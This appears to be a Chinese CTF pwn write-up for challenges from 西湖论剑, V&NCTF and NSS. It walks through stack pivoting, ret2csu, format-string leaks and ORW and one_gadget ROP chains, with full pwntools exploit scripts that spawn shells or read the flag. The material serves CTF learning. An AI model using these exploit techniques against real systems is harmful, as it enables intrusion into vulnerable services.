②西湖论剑 1.Message Board 分析 前置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 chen@chen:~/桌面/match/XI_HU/Message Board$ checksec ./pwn [* ] '/home/chen/桌面/match/XI_HU/Message Board/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) chen@chen:~/桌面/match/XI_HU/Message Board$ seccomp-tools dump ./pwn line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000 ) goto 0005 0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff ) goto 0007 0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007 0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0007: 0x06 0x00 0x00 0x00000000 return KILL
ban了一个execve,通过orw
逆向
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { char *v3; char buf[8 ]; char dest[8 ]; char v7[176 ]; init_sandbox(); if ( !dword_4040AC ) { strcpy (dest, "Hello, " ); puts ("Welcome to DASCTF message board, please leave your name:" ); read(0 , buf, 8uLL ); dword_4040AC = 1 ; } v3 = strcat (dest, buf); printf (v3); puts ("Now, please say something to DASCTF:" ); read(0 , v7, 0xC0 uLL); puts ("Posted Successfully~" ); return 0LL ; }
偏移:6
思路
第一次输入:fmt:leak_libc 以及 栈地址
第二次输入:字符串位于泄露出的栈地址+0x10处
布栈:ret2syscall的方法,布置ORW链
栈迁移,实现再次写,rsi由rbp索引
栈迁移回栈上,执行ROP链
栈迁移 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 call foo ;push rip+8 ;mov foo_addr, rip foo ;push rbp ;mov rbp,rsp leave ;mov rsp, rbp ;pop rbp ret ;pop rip
函数调用开始,和末尾的leave_ret是两个相反的过程
如果存在溢出0x10字节,意味着可以控制rbp,将ret篡改为leave_ret这一gadget,程序的末尾即是
1 2 3 4 5 6 7 8 9 10 leave ;mov rsp, rbp ;pop rbp leave ;mov rsp, rbp ;pop rbp ret ;pop rip
流程
栈溢出篡改rbp , ret
1 2 rbp: Hack_addr - 0x8 ret: leave_ret
本题 第二次输入位置:stack_addr - 0xb0
stack_addr:0x7ffded449570
stack_addr - 0xb0:0x7ffded4494c0 ◂— 0x67616c662f /* '/flag' */
栈迁移位置:stack_addr - 0xb0 + 0x8
因为此处是先填入0x8字节的内容,所以栈迁移地址直接写到此处即可
(其他情况下,放在目标地址-0x8处)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 00:0000│ rsp 0x7ffded4494a8 —▸ 0x401391 ◂— lea rdi, [rip + 0xcd5] 01:0008│ 0x7ffded4494b0 ◂— 0x70243133257025 /* '%p%31$p' */ 02:0010│ 0x7ffded4494b8 ◂— 'Hello, %p%31$p' 03:0018│ rsi 0x7ffded4494c0 ◂— 0x702431332570 /* 'p%31$p' */ 04:0020│ 0x7ffded4494c8 ◂— 0x0 ... ↓ 3 skipped 00:0000│ rsp 0x7ffded4494b0 ◂— 0x70243133257025 /* '%p%31$p' */ 01:0008│ 0x7ffded4494b8 ◂— 'Hello, %/flag' 02:0010│ rsi 0x7ffded4494c0 ◂— 0x67616c662f /* '/flag' */ 03:0018│ 0x7ffded4494c8 —▸ 0x7fe6c983bb6a (init_cacheinfo+234) ◂— pop rdi 04:0020│ 0x7ffded4494d0 —▸ 0x7ffded4494c0 ◂— 0x67616c662f /* '/flag' */ 05:0028│ 0x7ffded4494d8 —▸ 0x7fe6c983e01f (__gconv_close_transform+239) ◂— pop rsi 06:0030│ 0x7ffded4494e0 ◂— 0x0 07:0038│ 0x7ffded4494e8 —▸ 0x7fe6c9925ce0 (open64) ◂— endbr64
leave_ret_gadget
1 2 .text:00000000004012E1 C9 leave .text:00000000004012E2 C3 retn
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 from pwn import *from ctypes import * libc = ELF("./libc-2.31.so" ) banary = "./pwn" elf = ELF(banary) ip = 'tcp.cloud.dasctf.com' port = 25994 local = 1 if (local==1 ): p = process(banary)else : p = remote(ip, port) context.log_level = "debug" context.arch = 'amd64' def debug (): gdb.attach(p) pause() s = lambda data : p.send(data) sl = lambda data : p.sendline(data) sa = lambda text, data : p.sendafter(text, data) sla = lambda text, data : p.sendlineafter(text, data) r = lambda : p.recv() ru = lambda text : p.recvuntil(text) uu32 = lambda : u32(p.recvuntil(b"\xff" )[-4 :].ljust(4 , b'\x00' )) uu64 = lambda : u64(p.recvuntil(b"\x7f" )[-6 :].ljust(8 , b"\x00" )) lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval (s))) pi = lambda : p.interactive()def send_after_clean (content: bytes = b"" , until: bytes = None ,\ timeout: float = 0.05 , no_show: bool = True ): if until is not None : p.recvuntil(flat(until)) else : received = p.clean(timeout) if not no_show: print (f"[$]received:\n{received.decode('UTF-8' )} " ) p.send(flat(content))def sendline_after_clean (content: bytes = b"" , until: bytes = None ,\ timeout: float = 0.05 , no_show: bool = True ): send_after_clean([content, p.newline], until, timeout, no_show) payload1 = b'%p%31$p' sa(b'name:' , payload1) p.recvuntil(b'Hello, ' ) stack_addr= int (p.recv(14 ), 16 ) + 0xc0 lg('stack_addr' ) libc_base= int (p.recv(14 ), 16 ) - libc.symbols['__libc_start_main' ]- 243 lg('libc_base' ) open_addr = libc_base + libc.sym['open' ] read_addr = libc_base + libc.sym['read' ] write_addr = libc_base + libc.sym['write' ] puts_addr = libc_base + libc.sym['puts' ] offset_2 =libc.search(asm('pop rdx;ret' )).__next__() lg('offset_2' ) pop_rdi_ret = 0x0000000000401413 pop_rsi_ret = libc_base + libc.search(asm('pop rsi; ret' )).__next__() pop_rdx_ret = libc_base + 0x142c92 flag = stack_addr - 0xb0 leave_ret = 0x00000000004012e1 lg('read_addr' ) lg('open_addr' ) lg('write_addr' ) lg('pop_rdi_ret' ) lg('pop_rsi_ret' ) lg('pop_rdx_ret' ) orw_payload = b'/flag\0\0\0' orw_payload += p64(pop_rdi_ret)+ p64(flag) +p64(pop_rsi_ret)+ p64(0 ) + p64(open_addr) orw_payload += p64(pop_rdi_ret)+ p64(3 )+ p64(pop_rsi_ret)+ p64(stack_addr+0x90 )+ p64(pop_rdx_ret) + p64(0x30 )+ p64(read_addr) orw_payload += p64(pop_rdi_ret)+ p64(1 )+p64(pop_rsi_ret)+ p64(stack_addr+0x90 )+ p64(pop_rdx_ret)+ p64(0x30 )+ p64(write_addr) payload2 = orw_payload.ljust(0xb0 ,b'a' ) + p64(flag)+ p64(leave_ret) sa(b'DASCTF:' ,payload2) pi()
2.babycalc re2csu ret2csu的目的是可以通过gadget,控制所有寄存器,直接实现一个函数的使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 #Gadget1 .text:0000000000400C96 loc_400C96: ; CODE XREF: init+34↑j .text:0000000000400C96 48 83 C4 08 add rsp, 8 .text:0000000000400C9A 5B pop rbx .text:0000000000400C9B 5D pop rbp .text:0000000000400C9C 41 5C pop r12 .text:0000000000400C9E 41 5D pop r13 .text:0000000000400CA0 41 5E pop r14 .text:0000000000400CA2 41 5F pop r15 .text:0000000000400CA4 C3 retn #Gadget2 .text:0000000000400C80 loc_400C80: ; CODE XREF: init+54↓j .text:0000000000400C80 4C 89 EA mov rdx, r13 .text:0000000000400C83 4C 89 F6 mov rsi, r14 .text:0000000000400C86 44 89 FF mov edi, r15d .text:0000000000400C89 41 FF 14 DC call qword ptr [r12+rbx*8] .text:0000000000400C89 .text:0000000000400C8D 48 83 C3 01 add rbx, 1 .text:0000000000400C91 48 39 EB cmp rbx, rbp .text:0000000000400C94 75 EA jnz short loc_400C80 .text:0000000000400C94
python代码–write(1,write_got,8)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 csu_one_addr =0x400C96 csu_second_addr = 0x400C80 def csu (rbx, rbp, r12, r13, r14, r15, last ): payload = 'a' * 0x80 + fake_ebp payload += p64(csu_one_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) payload += p64(csu_second_addr) payload += 'a' * 0x38 payload += p64(last) sh.send(payload) sleep(1 ) csu(0 , 1 , write_got, 8 , write_got, 1 , main_addr)
本题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 csu_one_addr = 0x400C96 csu_second_addr = 0x400C80 def csu(rdi,rsi,rdx,call_addr): # pop rbx,rbp,r12,r13,r14,r15 # rbx = 0, # rbp = 1, not to jump # r12 = 目标函数地址 # r13 = rdx # r14 = rsi # r15d = edi = rdi payload = p64(csu_one_addr)+ p64(0)+ p64(1)+ p64(call_addr)+ p64(rdx)+ p64(rsi)+ p64(rdi) payload += p64(csu_second_addr) payload += p64(0)*7 return payload
分析 开了NX保护,栈迁移,ret2csu,ret2libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 void __fastcall vuln () { char v0; char buf[208 ]; unsigned __int8 v2; unsigned __int8 v3; unsigned __int8 v4; unsigned __int8 v5; unsigned __int8 v6; unsigned __int8 v7; unsigned __int8 v8; unsigned __int8 v9; unsigned __int8 v10; unsigned __int8 v11; unsigned __int8 v12; unsigned __int8 v13; unsigned __int8 v14; unsigned __int8 v15; unsigned __int8 v16; unsigned __int8 v17; int i; for ( i = 0 ; i <= 15 ; ++i ) { printf ("number-%d:" , (unsigned int )(i + 1 )); buf[(int )read(0 , buf, 0x100 uLL)] = 0 ; v0 = strtol(buf, 0LL , 10 ); *(&v2 + i) = v0; } if ( v4 * v3 * v2 - v5 != 36182 || v2 != 19 || v4 * 19 * v3 + v5 != 36322 || (v12 + v2 - v7) * v15 != 32835 || (v3 * v2 - v4) * v5 != 44170 || (v4 + v3 * v2) * v5 != 51590 || v8 * v7 * v6 - v9 != 61549 || v9 * v14 + v3 + v17 != 19037 || v8 * v7 * v6 + v9 != 61871 || (v7 * v6 - v8) * v9 != 581693 || v10 != 50 || (v8 + v7 * v6) * v9 != 587167 || v12 * v11 * v10 - v13 != 1388499 || v12 * v11 * v10 + v13 != 1388701 || (v11 * v10 - v12) * v13 != 640138 || (v10 * v4 - v15) * v11 != 321081 || (v12 + v11 * v10) * v13 != 682962 || v16 * v15 * v14 - v17 != 563565 || v16 * v15 * v14 + v17 != 563571 || v13 != 101 || (v15 * v14 - v16) * v17 != 70374 || (v16 + v15 * v14) * v17 != 70518 ) { exit (0 ); } puts ("good done" ); }
漏洞点 循环中
1 2 3 4 5 6 7 8 for ( i = 0 ; i <= 15 ; ++i ) { printf ("number-%d:" , (unsigned int )(i + 1 )); buf[(int )read(0 , buf, 0x100 uLL)] = 0 ; v0 = strtol(buf, 0LL , 10 ); *(&v2 + i) = v0; }
off-by-null: 栈覆写,控一下程序流
越界写:开始想通过strtol返回一个地址,实现覆写,但是不行,需要换种思路
Z3 可以通过python脚本实现(也可以手算)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from z3 import * s=Solver() v3,v4,v5,v6,v7,v8,v9,v10,v11,v12,v13,v14,v15,v16,v17,v18=Ints('v3 v4 v5 v6 v7 v8 v9 v10 v11 v12 v13 v14 v15 v16 v17 v18' ) s.add(v3==19 ) s.add(v5 * v4 * v3 - v6 == 36182 ) s.add( v5 * 19 * v4 + v6 == 36322 ) s.add( (v13 + v3 - v8) * v16 == 32835 ) s.add( (v4 * v3 - v5) * v6 == 44170 ) s.add( (v5 + v4 * v3) * v6 == 51590 ) s.add( v9 * v8 * v7 - v10 == 61549 ) s.add( v10 * v15 + v4 + v18 == 19037 ) s.add( v9 * v8 * v7 + v10 == 61871 ) s.add( (v8 * v7 - v9) * v10 == 581693 ) s.add( v11 == 50 ) s.add( (v9 + v8 * v7) * v10 == 587167 ) s.add( v13 * v12 * v11 - v14 == 1388499 ) s.add( v13 * v12 * v11 + v14 == 1388701 ) s.add( (v12 * v11 - v13) * v14 == 640138 ) s.add( (v11 * v5 - v16) * v12 == 321081 ) s.add( (v13 + v12 * v11) * v14 == 682962 ) s.add( v17 * v16 * v15 - v18 == 563565 ) s.add( v17 * v16 * v15 + v18 == 563571 ) s.add( v14 == 101 ) s.add( (v16 * v15 - v17) * v18 == 70374 ) s.add( (v17 + v16 * v15) * v18 == 70518 )print (s.check())print (s.model())
v2-v17: 19,36,53,70,55,66,17,161,50,131,212,101,118,199,24,3
翻译为字节:\x13 \x24 \x35 \x46 \x37 \x42 \x11 \xA1 \x32 \x83 \xD4 \x65 \x76 \xC7 \x18 \x03
1 2 3 4 { exit (0 ); }puts ("good done" );
思路
off-by-null覆写rbp低位为\x00
利用越界写,控制ret,改成leave_ret,进行栈迁移回栈(需要爆破1/16)
因为程序不清楚栈,所以提前控制栈帧
泄露 libc 地址后用 csu 调用 read 函数覆写 got 表
一步到位exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 from pwn import *from ctypes import * libc = ELF('./libc-2.23.so' ) banary = "./babycalc" elf = ELF(banary) ip = '1' port = 1 local = 1 if (local==1 ): p = process(banary)else : p = remote(ip, port) context.log_level = "debug" def debug (): gdb.attach(p) pause() s = lambda data : p.send(data) sl = lambda data : p.sendline(data) sa = lambda text, data : p.sendafter(text, data) sla = lambda text, data : p.sendlineafter(text, data) r = lambda : p.recv() ru = lambda text : p.recvuntil(text) uu32 = lambda : u32(p.recvuntil(b"\xff" )[-4 :].ljust(4 , b'\x00' )) uu64 = lambda : u64(p.recvuntil(b"\x7f" )[-6 :].ljust(8 , b"\x00" )) lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval (s))) pi = lambda : p.interactive()''' $ ROPgadget --binary ./babycalc | grep 'leave ; ret' 0x0000000000400bb7 : leave ; ret 0x0000000000400c17 : nop ; leave ; ret ''' rdi_ret = 0x0000000000400ca3 rsi_r15_ret = 0x0000000000400ca1 ret = 0x0000000000400ca4 leave_ret = 0x0000000000400c17 puts_plt = elf.plt["puts" ] puts_got = elf.got["puts" ] read_got = elf.got["read" ] csu_one_addr = 0x400C96 csu_second_addr = 0x400C80 def csu (rdi,rsi,rdx,call_addr ): payload = p64(csu_one_addr)+ p64(0 )+ p64(1 )+ p64(call_addr)+ p64(rdx)+ p64(rsi)+ p64(rdi) payload += p64(csu_second_addr) payload += p64(0 )*7 return payload def pwn (): matrix= [19 ,36 ,53 ,70 ,55 ,66 ,17 ,161 ,50 ,131 ,212 ,101 ,118 ,199 ,24 ,3 ] ROP = p64(rdi_ret) + p64(puts_got) +p64(puts_plt) ROP += csu(0 , puts_got, 0x30 , read_got) ROP += p64(rdi_ret) + p64(puts_got+8 ) +p64(puts_plt) payload = str (0x18 ).encode().ljust(0x8 ,b'\0' ) payload += p64(ret)* 4 payload += ROP payload += b'\x13' + b'\x24' + b'\x35' + b'\x46' + b'\x37' + b'\x42' + b'\x11' + b'\xA1' + b'\x32' + b'\x83' + b'\xD4' + b'\x65' + b'\x76' + b'\xC7' + b'\x18' + b'\x03' payload = payload.ljust(0xfc ,b'\0' ) payload += p32(0x38 ) sa(b':' , payload) puts_addr = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(0x8 ,b'\0' )) libc_base = puts_addr - libc.sym["puts" ] system_addr = libc_base + libc.sym["system" ] lg('puts_addr' ) lg('libc_base' ) sl(p64(system_addr) + b'/bin/sh\x00' ) pi()while True : p = process('./babycalc' ) try : pwn() excepts: p.close() continue
3.JIT ③V&NCTF 1.Traveler 分析 main
1 2 3 4 5 6 7 8 9 10 11 int __cdecl main (int argc, const char **argv, const char **envp) { char buf[32 ]; init(argc, argv, envp); puts ("who r u?" ); read(0 , buf, 0x30 uLL); puts ("How many travels can a person have in his life?" ); read(0 , &msg, 0x28 uLL); return 0 ; }
第一步覆盖rbp,ret,进行栈迁移
第二步,向bss段写,控栈,五条指令
汇编
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 .text:000000000040120A 48 8D 3D 01 0E 00 00 lea rdi, s ; "who r u?" .text:0000000000401211 E8 5A FE FF FF call _puts .text:0000000000401211 .text:0000000000401216 48 8D 45 E0 lea rax, [rbp+buf] .text:000000000040121A BA 30 00 00 00 mov edx, 30h ; '0' ; nbytes .text:000000000040121F 48 89 C6 mov rsi, rax ; buf .text:0000000000401222 BF 00 00 00 00 mov edi, 0 ; fd .text:0000000000401227 E8 74 FE FF FF call _read .text:0000000000401227 .text:000000000040122C 48 8D 3D ED 0D 00 00 lea rdi, aHowManyTravels ; "How many travels can a person have in h"... .text:0000000000401233 E8 38 FE FF FF call _puts .text:0000000000401233 .text:0000000000401238 BA 28 00 00 00 mov edx, 28h ; '(' ; nbytes .text:000000000040123D 48 8D 35 5C 2E 00 00 lea rsi, msg ; buf .text:0000000000401244 BF 00 00 00 00 mov edi, 0 ; fd .text:0000000000401249 E8 52 FE FF FF call _read .text:0000000000401249 .text:000000000040124E B8 00 00 00 00 mov eax, 0 .text:0000000000401253 C9 leave .text:0000000000401254 C3 retn
注意末尾的mov eax,0
指令,这一步之后,就不能复用了,所以不能利用这一段的Gadget
pop/push/ret 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 pop rsp+8 push rsp-8 call s push rip jmp s leave mov rsp,rbp pop rbp ret pop rip jmp xx
思路 ret2syscall
1. 通过栈迁移,控制gadget,实现再次写
2. 布栈,实现泄露libc,同时控制程序流,返回main
3. 再次栈迁移,控制gadget,实现再次写
4. 布栈,控制寄存器,打one_gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 $ one_gadget -f libc-2.31.so 0xe3afe execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r15 == NULL [r12] == NULL || r12 == NULL 0xe3b01 execve("/bin/sh", r15, rdx) constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL 0xe3b04 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 from pwn import *from ctypes import *from LibcSearcher import * context(os='Linux' ,arch='amd64' ,log_level='debug' ) banary = "./traveler" elf = ELF(banary) ip = 'node4.buuoj.cn' port = 28855 local = 1 if (local==1 ): p = process(banary)else : p = remote(ip, port) context.log_level = "debug" def debug (): gdb.attach(p) pause() s = lambda data : p.send(data) sl = lambda data : p.sendline(data) sa = lambda text, data : p.sendafter(text, data) sla = lambda text, data : p.sendlineafter(text, data) r = lambda : p.recv() ru = lambda text : p.recvuntil(text) uu32 = lambda : u32(p.recvuntil(b"\xff" )[-4 :].ljust(4 , b'\x00' )) uu64 = lambda : u64(p.recvuntil(b"\x7f" )[-6 :].ljust(8 , b"\x00" )) lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval (s))) pi = lambda : p.interactive() pop_rdi_ret = 0x00000000004012c3 pop_rsi_r15_ret = 0x00000000004012c1 leave_ret = 0x0000000000401253 ret = 0x000000000040101a puts_got = elf.got['puts' ] puts_plt = elf.plt['puts' ] system_addr = elf.plt['system' ] lg('puts_got' ) lg('puts_plt' ) bss = 0x00000000004040A0 + 0x400 read = 0x0000000000401216 main = 0x4011F4 payload1 = b'a' *0x20 + p64(bss) + p64(read) sa('who r u?' , payload1) sa('life?' ,b'\n' ) payload2 = p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main) payload2 += p64(bss-0x28 ) +p64(leave_ret) s(payload2) sa('life?' ,b'\n' ) puts_addr = u64(p.recvuntil(b"\x7f" )[-6 :].ljust(8 , b"\x00" )) lg('puts_addr' ) libc = ELF('./libc-2.31.so' ) libc_base = puts_addr - libc.sym['puts' ] lg('libc_base' )''' 0xe3afe execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r15 == NULL [r12] == NULL || r12 == NULL 0xe3b01 execve("/bin/sh", r15, rdx) constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL 0xe3b04 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL ''' pop_r12 = libc_base + 0x000000000002f709 one_gadget = libc_base + 0xe3afe payload1 = b'a' *0x20 + p64(bss+0x80 ) + p64(read) s(payload1) sa('life?' ,b'\n' ) payload3 = p64(pop_r12) + p64(0 ) + p64(one_gadget) + p64(0 ) payload3 += p64(bss+0x80 -0x28 ) + p64(leave_ret) sl(payload3) pi()
2.store in tongxunlu 提示:ubuntu20
分析 保护
1 2 3 4 5 6 [* ] '/home/chen/桌面/match/VN/TONGXUN/store' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
eeee_wantboy
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 __int64 eeee_wantboy () { char v1[256 ]; char buf[36 ]; int v3; int v4; v4 = 0 ; v3 = 0 ; puts ("halo little giegie,my name is eeee,i am 11111" ); puts ("can i get your phone number" ); puts ("if you give me your number,i will give you some hao_kang_de" ); read(0 , buf, 0x40 uLL); printf ("i get you ! little giegie" ); printf ("heyhey , hao_kang_de is %lx \n" , v1); puts ("anything want to say?" ); read(0 , v1, 0x100 uLL); return strtol(buf, 0LL , 10 ); }
第一次输入,0x10字节的溢出,通过栈覆写ret,使得程序流复原
之后接受栈地址
第二次输入,布栈,
hao_kang_de
1 2 3 4 5 6 7 8 int hao_kang_de () { signed __int64 v0; puts ("wait!! i will give you something" ); v0 = sys_write(0 , 0LL , 0LL ); return puts ("hhhh~i just tell a joke" ); }
syscall,瞅汇编
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 .text:000000000000087B 55 push rbp .text:000000000000087C 48 89 E5 mov rbp, rsp .text:000000000000087F 48 8D 3D B2 01 00 00 lea rdi, s ; "wait!! i will give you something" .text:0000000000000886 E8 25 FE FF FF call _puts .text:0000000000000886 .text:000000000000088B 48 C7 C0 01 00 00 00 mov rax, 1 .text:0000000000000892 48 C7 C7 00 00 00 00 mov rdi, 0 ; fd .text:0000000000000899 48 C7 C6 00 00 00 00 mov rsi, 0 ; buf .text:00000000000008A0 48 C7 C2 00 00 00 00 mov rdx, 0 ; count .text:00000000000008A7 0F 05 syscall ; LINUX - sys_write .text:00000000000008A9 48 8D 3D A9 01 00 00 lea rdi, aHhhhIJustTellA ; "hhhh~i just tell a joke" .text:00000000000008B0 E8 FB FD FF FF call _puts .text:00000000000008B0 .text:00000000000008B5 90 nop .text:00000000000008B6 5D pop rbp .text:00000000000008B7 C3 retn
汇编
重点放在最后几个函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 .text:000000000000090B 48 8D 3D F2 01 00 00 lea rdi, format ; "i get you ! little giegie" .text:0000000000000912 B8 00 00 00 00 mov eax, 0 .text:0000000000000917 E8 A4 FD FF FF call _printf .text:0000000000000917 .text:000000000000091C 48 8D 85 D0 FE FF FF lea rax, [rbp+var_130] .text:0000000000000923 48 89 C6 mov rsi, rax .text:0000000000000926 48 8D 3D F1 01 00 00 lea rdi, aHeyheyHaoKangD ; "heyhey , hao_kang_de is %lx \n" .text:000000000000092D B8 00 00 00 00 mov eax, 0 .text:0000000000000932 E8 89 FD FF FF call _printf .text:0000000000000932 .text:0000000000000937 48 8D 3D FE 01 00 00 lea rdi, aAnythingWantTo ; "anything want to say?" .text:000000000000093E E8 6D FD FF FF call _puts .text:000000000000093E .text:0000000000000943 48 8D 85 D0 FE FF FF lea rax, [rbp+var_130] .text:000000000000094A BA 00 01 00 00 mov edx, 100h ; nbytes .text:000000000000094F 48 89 C6 mov rsi, rax ; buf .text:0000000000000952 BF 00 00 00 00 mov edi, 0 ; fd .text:0000000000000957 E8 74 FD FF FF call _read .text:0000000000000957 .text:000000000000095C 48 8D 45 D0 lea rax, [rbp+buf] .text:0000000000000960 BA 0A 00 00 00 mov edx, 0Ah ; base .text:0000000000000965 BE 00 00 00 00 mov esi, 0 ; endptr .text:000000000000096A 48 89 C7 mov rdi, rax ; nptr .text:000000000000096D E8 6E FD FF FF call _strtol .text:000000000000096D .text:0000000000000972 89 45 F4 mov [rbp+var_C], eax .text:0000000000000975 90 nop .text:0000000000000976 C9 leave .text:0000000000000977 C3 retn
思路 一:非预期,但是很牛逼
第一次输入结束后,会给一个栈地址,要去接收。
在其前,有一次0x10字节的栈溢出,通过覆写ret末字节,进行一个短距离的迁移,使得再次执行main,此时也有栈地址了
1 2 3 4 5 6 7 8 9 10 11 12 call h: push rip (rsp -= 0x8) h: push rbp mov rbp, rsp leave: mov rsp, rbp pop rbp ret: pop rip
二:出题者思路
利用sys_write进行泄露
非预期exp https://blog.csdn.net/maple105890/article/details/129115700
太牛逼了,丝滑的一,人造格式化字符串漏洞
从而泄露libc,elf
再在栈上布置ROP,做栈迁移执行就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 from pwn import *from LibcSearcher import * libc = ELF('./libc-2.31.so' ) banary = "./store" elf = ELF(banary) ip = '1' port = 1 local = 1 if (local==1 ): p = process(banary)else : p = remote(ip, port) context.log_level = "debug" def debug (): gdb.attach(p) pause() s = lambda data : p.send(data) sl = lambda data : p.sendline(data) sa = lambda text, data : p.sendafter(text, data) sla = lambda text, data : p.sendlineafter(text, data) r = lambda : p.recv() ru = lambda text : p.recvuntil(text) uu32 = lambda : u32(p.recvuntil(b"\xff" )[-4 :].ljust(4 , b'\x00' )) uu64 = lambda : u64(p.recvuntil(b"\x7f" )[-6 :].ljust(8 , b"\x00" )) lg = lambda s : log.info('\x1b[01;38;5;214m %s --> 0x%x \033[0m' % (s, eval (s))) pi = lambda : p.interactive() payload = b'a' *0x38 + p8(0x79 ) p.sendafter(b"if you give me your number,i will give you some hao_kang_de\n" ,payload) p.recvuntil(b'is ' ) stack_addr = int (p.recv(12 ),16 ) lg("stack_addr" ) p.sendafter(b"anything want to say?\n" ,b'Korey0sh1' ) debug() payload = b'%7$p|%11$p' payload = payload.ljust(0x30 ,b'a' ) payload += p64(stack_addr + 0x240 ) + p8(0x12 ) p.send(payload) p.sendafter(b"anything want to say?\n" ,b'Korey0sh1' ) p.recvuntil(b'0x' ) libc_base = int (p.recv(12 ),16 ) - 243 - libc.symbols['__libc_start_main' ] p.recvuntil(b'0x' ) elf_base = int (p.recv(12 ),16 ) - 0x978 p.recvuntil(b'is ' ) stack_addr = int (p.recv(12 ),16 )print ("libc_base-->" +hex (libc_base))print ("elf_base-->" +hex (elf_base))print ("stack_addr-->" +hex (stack_addr)) pause() sys_addr = libc_base + libc.symbols['system' ] str_bin_sh = libc_base + next (libc.search(b'/bin/sh' )) pop_rdi = elf_base + 0xa13 pop_rsi_r15 = elf_base + 0xa11 payload = b'a' *0x28 + p64(pop_rdi) + p64(str_bin_sh) + p64(pop_rsi_r15) + p64(0 ) + p64(0 ) + p64(sys_addr) p.sendafter(b"anything want to say?\n" ,payload) p.interactive()
预期exp 预期解思路:strtol控制rax,然后跳转到sys_write附近把elf_base和libc_base打出来
再布置ROP
3.escape_langlang_mountain
读一下把后门字符串写vnctf,write一次改command为cat flag,再读就能执行后门了
qemu
4.hf
提示:堆?
5.鼠鼠的奇妙冒险
提示:uaf in game.c/fight()
ptmalloc2对线程数>CPU核心数*8时会去lock之前的arena并复用;
线程结束时有tcache_thread_shutdown释放掉所有tcache chunks;
合理利用loadLevel调整堆结构;
④NSS#Round 9 1.MyExec ptrcl 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #include <sys/prctl.h> int prctl (int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5) ; prctl(38 , 1LL , 0LL , 0LL , 0LL ); prctl(22 , 2LL , &v1);
分析 沙箱
1 2 3 4 v1 = 4 ; v2 = &v3; prctl(38 , 1LL , 0LL , 0LL , 0LL ); prctl(22 , 2LL , &v1);
main
